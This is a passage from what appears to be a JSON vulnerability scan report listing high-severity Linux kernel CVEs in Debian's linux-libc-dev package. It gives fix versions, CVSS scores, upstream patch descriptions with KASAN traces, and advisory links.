"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43426", "https://git.kernel.org/linus/3cbc242b88c607f55da3d0d0d336b49bf1e20412%20%287.0-rc4%29", "https://git.kernel.org/stable/c/0b7d11fd6e742ecc0b1eca44b4f0b93140c74bae", "https://git.kernel.org/stable/c/1899edac312ef17a7234851686e8a703f56d0a84", "https://git.kernel.org/stable/c/3cbc242b88c607f55da3d0d0d336b49bf1e20412", "https://git.kernel.org/stable/c/51afaf919bbaacdd9cc9e146033ae0a743a42dd7", "https://git.kernel.org/stable/c/6287e0c01ccb818e7214f88d885ffb7c9e81b0e0", "https://git.kernel.org/stable/c/6ffe44f022c95b1b29c691d2169c5abc046f7580", "https://git.kernel.org/stable/c/9c6159d5b72d5fc265cce5da04f27d730b552e69", "https://git.kernel.org/stable/c/c7012fc73dab4829404fedeeaa8531f12ac8545f", "https://lore.kernel.org/linux-cve-announce/2026050849-CVE-2026-43426-eef1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43426", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43426" ], "PublishedDate": "2026-05-08T15:16:54.74Z", "LastModifiedDate": "2026-06-17T10:49:34.567Z" }, { "VulnerabilityID": "CVE-2026-43427", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43427", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:81bbe42331caa1a1c6ec03758f45b3645636982768c258b626028fe9245796e2", "Title": "kernel: usb: class: cdc-wdm: fix reordering issue in read code path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: class: cdc-wdm: fix reordering issue in read code path\n\nQuoting the bug report:\n\nDue to compiler optimization or CPU out-of-order execution, the\ndesc-\u003elength update can be reordered before the memmove. If this\nhappens, wdm_read() can see the new length and call copy_to_user() on\nuninitialized memory. This also violates LKMM data race rules [1].\n\nFix it by using WRITE_ONCE and memory barriers.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43427", "https://git.kernel.org/linus/8df672bfe3ec2268c2636584202755898e547173%20%287.0-rc4%29", "https://git.kernel.org/stable/c/170e8daca24da6edb4be82ab01abf44e87af387b", "https://git.kernel.org/stable/c/276aef0fd2b92f41b920ac891c72cadeee957934", "https://git.kernel.org/stable/c/4ee3062bf2c9a722afef429826e8607eaf3fc6a0", "https://git.kernel.org/stable/c/638328ca9c17ae6511ad62198c57bae32ffa3c91", "https://git.kernel.org/stable/c/67ed312124bb1b61858778ac0b985b48961c862a", "https://git.kernel.org/stable/c/8df672bfe3ec2268c2636584202755898e547173", "https://git.kernel.org/stable/c/c8fa96ed021923dae147bcd9f9205b8df7b82360", "https://git.kernel.org/stable/c/e3c874b05901dc519054b5107d16620e6d2b5fea", "https://linux.oracle.com/cve/CVE-2026-43427.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050849-CVE-2026-43427-12cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43427", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43427" ], "PublishedDate": "2026-05-08T15:16:54.867Z", "LastModifiedDate": "2026-11-06T16:18:39.813Z" }, { "VulnerabilityID": "CVE-2026-43449", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:605df690f667ac7ce93042ada4229a32e786e64882f1ab80aa6f7cb4ca30e65b", "Title": "kernel: Linux kernel: NVMe PCI driver slab-out-of-bounds can lead to privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-pci: Fix slab-out-of-bounds in nvme_dbbuf_set\n\ndev-\u003eonline_queues is a count incremented in nvme_init_queue. Thus,\nvalid indices are 0 through dev-\u003eonline_queues − 1.\n\nThis patch fixes the loop condition to ensure the index stays within the\nvalid range. Index 0 is excluded because it is the admin queue.\n\nKASAN splat:\n\n==================================================================\nBUG: KASAN: slab-out-of-bounds in nvme_dbbuf_free drivers/nvme/host/pci.c:377 [inline]\nBUG: KASAN: slab-out-of-bounds in nvme_dbbuf_set+0x39c/0x400 drivers/nvme/host/pci.c:404\nRead of size 2 at addr ffff88800592a574 by task kworker/u8:5/74\n\nCPU: 0 UID: 0 PID: 74 Comm: kworker/u8:5 Not tainted 6.19.0-dirty #10 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nWorkqueue: nvme-reset-wq nvme_reset_work\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xea/0x150 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x5d0 mm/kasan/report.c:482\n kasan_report+0xdc/0x110 mm/kasan/report.c:595\n __asan_report_load2_noabort+0x18/0x20 mm/kasan/report_generic.c:379\n nvme_dbbuf_free drivers/nvme/host/pci.c:377 [inline]\n nvme_dbbuf_set+0x39c/0x400 drivers/nvme/host/pci.c:404\n nvme_reset_work+0x36b/0x8c0 drivers/nvme/host/pci.c:3252\n process_one_work+0x956/0x1aa0 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqueue.c:3340 [inline]\n worker_thread+0x65c/0xe60 kernel/workqueue.c:3421\n kthread+0x41a/0x930 kernel/kthread.c:463\n ret_from_fork+0x6f8/0x8c0 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n \u003c/TASK\u003e\n\nAllocated by task 34 on cpu 1 at 4.241550s:\n kasan_save_stack+0x2c/0x60 mm/kasan/common.c:57\n kasan_save_track+0x1c/0x70 mm/kasan/common.c:78\n kasan_save_alloc_info+0x3c/0x50 mm/kasan/generic.c:570\n poison_kmalloc_redzone mm/kasan/common.c:398 [inline]\n __kasan_kmalloc+0xb5/0xc0 mm/kasan/common.c:415\n kasan_kmalloc include/linux/kasan.h:263 [inline]\n __do_kmalloc_node mm/slub.c:5657 [inline]\n __kmalloc_node_noprof+0x2bf/0x8d0 mm/slub.c:5663\n kmalloc_array_node_noprof include/linux/slab.h:1075 [inline]\n nvme_pci_alloc_dev drivers/nvme/host/pci.c:3479 [inline]\n nvme_probe+0x2f1/0x1820 drivers/nvme/host/pci.c:3534\n local_pci_probe+0xef/0x1c0 drivers/pci/pci-driver.c:324\n pci_call_probe drivers/pci/pci-driver.c:392 [inline]\n __pci_device_probe drivers/pci/pci-driver.c:417 [inline]\n pci_device_probe+0x743/0x920 drivers/pci/pci-driver.c:451\n call_driver_probe drivers/base/dd.c:583 [inline]\n really_probe+0x29b/0xb70 drivers/base/dd.c:661\n __driver_probe_device+0x3b0/0x4a0 drivers/base/dd.c:803\n driver_probe_device+0x56/0x1f0 drivers/base/dd.c:833\n __driver_attach_async_helper+0x155/0x340 drivers/base/dd.c:1159\n async_run_entry_fn+0xa6/0x4b0 kernel/async.c:129\n process_one_work+0x956/0x1aa0 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqueue.c:3340 [inline]\n worker_thread+0x65c/0xe60 kernel/workqueue.c:3421\n kthread+0x41a/0x930 kernel/kthread.c:463\n ret_from_fork+0x6f8/0x8c0 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n\nThe buggy address belongs to the object at ffff88800592a000\n which belongs to the cache kmalloc-2k of size 2048\nThe buggy address is located 244 bytes to the right of\n allocated 1152-byte region [ffff88800592a000, ffff88800592a480)\n\nThe buggy address belongs to the physical page:\npage: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x5928\nhead: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\nanon flags: 0xfffffc0000040(head|node=0|zone=1|lastcpupid=0x1fffff)\npage_type: f5(slab)\nraw: 000fffffc0000040 ffff888001042000 0000000000000000 dead000000000001\nraw: 0000000000000000 0000000000080008 00000000f5000000 0000000000000000\nhead: 000fffffc0000040 ffff888001042000 00000\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43449", "https://git.kernel.org/linus/b4e78f1427c7d6859229ae9616df54e1fc05a516%20%287.0-rc4%29", "https://git.kernel.org/stable/c/2b9d605c3f0d3262142f196249cd3bd58c857c71", "https://git.kernel.org/stable/c/328c551f0cc81ee776b186b86cc6e5253bb6fda7", "https://git.kernel.org/stable/c/50bad78f03a02d3c0f228edf9912b494d3e7acb9", "https://git.kernel.org/stable/c/78279d2d74c58a0ed64e43cf601a02649771182e", "https://git.kernel.org/stable/c/83e6edd6358326c9c2de31a54bb4a1ec50703f1f", "https://git.kernel.org/stable/c/86183d550559e45e07059bbdf17331fea469e38c", "https://git.kernel.org/stable/c/b4e78f1427c7d6859229ae9616df54e1fc05a516", "https://git.kernel.org/stable/c/d7990c936e25f484b61a5adeeadc1d290a9fd16e", "https://linux.oracle.com/cve/CVE-2026-43449.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050857-CVE-2026-43449-d2ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43449", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43449" ], "PublishedDate": "2026-05-08T15:16:57.477Z", "LastModifiedDate": "2026-11-06T16:18:41.813Z" }, { "VulnerabilityID": "CVE-2026-43450", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43450", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4b15f9a44ce6ff225e7dcd20e7be5b5d61801a7714eb06172915d543a098972d", "Title": "kernel: netfilter: nfnetlink_cthelper: fix OOB read in nfnl_cthelper_dump_table()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_cthelper: fix OOB read in nfnl_cthelper_dump_table()\n\nnfnl_cthelper_dump_table() has a 'goto restart' that jumps to a label\ninside the for loop body. When the \"last\" helper saved in cb-\u003eargs[1]\nis deleted between dump rounds, every entry fails the (cur != last)\ncheck, so cb-\u003eargs[1] is never cleared. The for loop finishes with\ncb-\u003eargs[0] == nf_ct_helper_hsize, and the 'goto restart' jumps back\ninto the loop body bypassing the bounds check, causing an 8-byte\nout-of-bounds read on nf_ct_helper_hash[nf_ct_helper_hsize].\n\nThe 'goto restart' block was meant to re-traverse the current bucket\nwhen \"last\" is no longer found, but it was placed after the for loop\ninstead of inside it. Move the block into the for loop body so that\nthe restart only occurs while cb-\u003eargs[0] is still within bounds.\n\n BUG: KASAN: slab-out-of-bounds in nfnl_cthelper_dump_table+0x9f/0x1b0\n Read of size 8 at addr ffff888104ca3000 by task poc_cthelper/131\n Call Trace:\n nfnl_cthelper_dump_table+0x9f/0x1b0\n netlink_dump+0x333/0x880\n netlink_recvmsg+0x3e2/0x4b0\n sock_recvmsg+0xde/0xf0\n __sys_recvfrom+0x150/0x200\n __x64_sys_recvfrom+0x76/0x90\n do_syscall_64+0xc3/0x6e0\n\n Allocated by task 1:\n __kvmalloc_node_noprof+0x21b/0x700\n nf_ct_alloc_hashtable+0x65/0xd0\n nf_conntrack_helper_init+0x21/0x60\n nf_conntrack_init_start+0x18d/0x300\n nf_conntrack_standalone_init+0x12/0xc0", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:51035", "https://access.redhat.com/security/cve/CVE-2026-43450", "https://bugzilla.redhat.com/2454320", "https://bugzilla.redhat.com/2468228", "https://bugzilla.redhat.com/show_bug.cgi?id=2454320", "https://bugzilla.redhat.com/show_bug.cgi?id=2468228", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23415", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43450", "https://errata.almalinux.org/9/ALSA-2026-51035.html", "https://errata.rockylinux.org/RLSA-2026:51035", "https://git.kernel.org/linus/6dcee8496d53165b2d8a5909b3050b62ae71fe89%20%287.0-rc4%29", "https://git.kernel.org/stable/c/05018cd9370f77bb18fbf6e15ff33c7a06f10b3c", "https://git.kernel.org/stable/c/0605e1985a95d4334a67869aee45a47e82301abf", "https://git.kernel.org/stable/c/3cc328ffc32ddb389cba7b78b6aa95d995c2876e", "https://git.kernel.org/stable/c/4a1f6ee69267a5f524102c028981410eeacfa3da", "https://git.kernel.org/stable/c/61b3a1f8621df1a5928118313f133996f6a786db", "https://git.kernel.org/stable/c/6dcee8496d53165b2d8a5909b3050b62ae71fe89", "https://git.kernel.org/stable/c/894c5780ddadd5fde0e16f66587918e6be1504c4", "https://git.kernel.org/stable/c/92441f6d9405a0c18d03f278b395e782f79a4a30", "https://linux.oracle.com/cve/CVE-2026-43450.html", "https://linux.oracle.com/errata/ELSA-2026-61887-0.html", "https://lore.kernel.org/linux-cve-announce/2026050857-CVE-2026-43450-8919@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43450", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43450" ], "PublishedDate": "2026-05-08T15:16:57.643Z", "LastModifiedDate": "2026-11-06T16:18:42.04Z" }, { "VulnerabilityID": "CVE-2026-43453", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43453", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a3ecd6ad5ba70e00093b4209b01232962ea712cd23c465f744bb5641fcf8abb", "Title": "In the Linux kernel, the following vulnerability has been resolved: n ...", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo: fix stack out-of-bounds read in pipapo_drop()\n\npipapo_drop() passes rulemap[i + 1].n to pipapo_unmap() as the\nto_offset argument on every iteration, including the last one where\ni == m-\u003efield_count - 1. This reads one element past the end of the\nstack-allocated rulemap array (declared as rulemap[NFT_PIPAPO_MAX_FIELDS]\nwith NFT_PIPAPO_MAX_FIELDS == 16).\n\nAlthough pipapo_unmap() returns early when is_last is true without\nusing the to_offset value, the argument is evaluated at the call site\nbefore the function body executes, making this a genuine out-of-bounds\nstack read confirmed by KASAN:\n\n BUG: KASAN: stack-out-of-bounds in pipapo_drop+0x50c/0x57c [nf_tables]\n Read of size 4 at addr ffff8000810e71a4\n\n This frame has 1 object:\n [32, 160) 'rulemap'\n\n The buggy address is at offset 164 -- exactly 4 bytes past the end\n of the rulemap array.\n\nPass 0 instead of rulemap[i + 1].n on the last iteration to avoid\nthe out-of-bounds read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43453", "https://git.kernel.org/linus/d6d8cd2db236a9dd13dbc2d05843b3445cc964b5%20%287.0-rc4%29", "https://git.kernel.org/stable/c/0a55d62cdb628923d8a21724374a70c76ac7d19d", "https://git.kernel.org/stable/c/1957e793196e7f8557374fd4eda53abcbb42e1c0", "https://git.kernel.org/stable/c/324b749aa5b2d516ccfab933df9d3f56e7807f5f", "https://git.kernel.org/stable/c/57fb87ca095d5127cd7a27583b8ec43dcf7c9e9e", "https://git.kernel.org/stable/c/60c1d18781e37bfb96290b86510eb01c5fa24d75", "https://git.kernel.org/stable/c/d6d8cd2db236a9dd13dbc2d05843b3445cc964b5", "https://git.kernel.org/stable/c/dfbdac719198778b581bc0dd055df2542edb8c62", "https://git.kernel.org/stable/c/e047f6fbb975f685d6c9fcef95b3b7787a79b46d", "https://linux.oracle.com/cve/CVE-2026-43453.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050858-CVE-2026-43453-fbba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43453", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43453" ], "PublishedDate": "2026-05-08T15:16:58.027Z", "LastModifiedDate": "2026-11-06T16:18:42.417Z" }, { "VulnerabilityID": "CVE-2026-43458", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43458", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0a34abefd9ad03b8c275685bfb0f28904d213c79600a087d73b14e7f1043e40d", "Title": "kernel: serial: caif: hold tty-\u003elink reference in ldisc_open and ser_release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: caif: hold tty-\u003elink reference in ldisc_open and ser_release\n\nA reproducer triggers a KASAN slab-use-after-free in pty_write_room()\nwhen caif_serial's TX path calls tty_write_room(). The faulting access\nis on tty-\u003elink-\u003eport.\n\nHold an extra kref on tty-\u003elink for the lifetime of the caif_serial line\ndiscipline: get it in ldisc_open() and drop it in ser_release(), and\nalso drop it on the ldisc_open() error path.\n\nWith this change applied, the reproducer no longer triggers the UAF in\nmy testing.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43458", "https://git.kernel.org/linus/288598d80a068a0e9281de35bcb4ce495f189e2a%20%287.0-rc4%29", "https://git.kernel.org/stable/c/23a3ac2e2262a291498567418227b99e1f3606b1", "https://git.kernel.org/stable/c/27e43356d0defb9fc7fa25265219a3ffeb7b3e98", "https://git.kernel.org/stable/c/288598d80a068a0e9281de35bcb4ce495f189e2a", "https://git.kernel.org/stable/c/35b58d3bc716ebb9ebd10fe1cac8c1177242511c", "https://git.kernel.org/stable/c/52135420e9f75853ea0c6cea7b736e3e98495f7d", "https://git.kernel.org/stable/c/8460187b4852fd00bd1c76394358053f3fa4d089", "https://git.kernel.org/stable/c/97a0bb491cae39478c6225381f14e9ac67b7bba7", "https://git.kernel.org/stable/c/ca2ceba983bb23ea0202c2882d963253416654a3", "https://lore.kernel.org/linux-cve-announce/2026050800-CVE-2026-43458-d72f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43458", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", 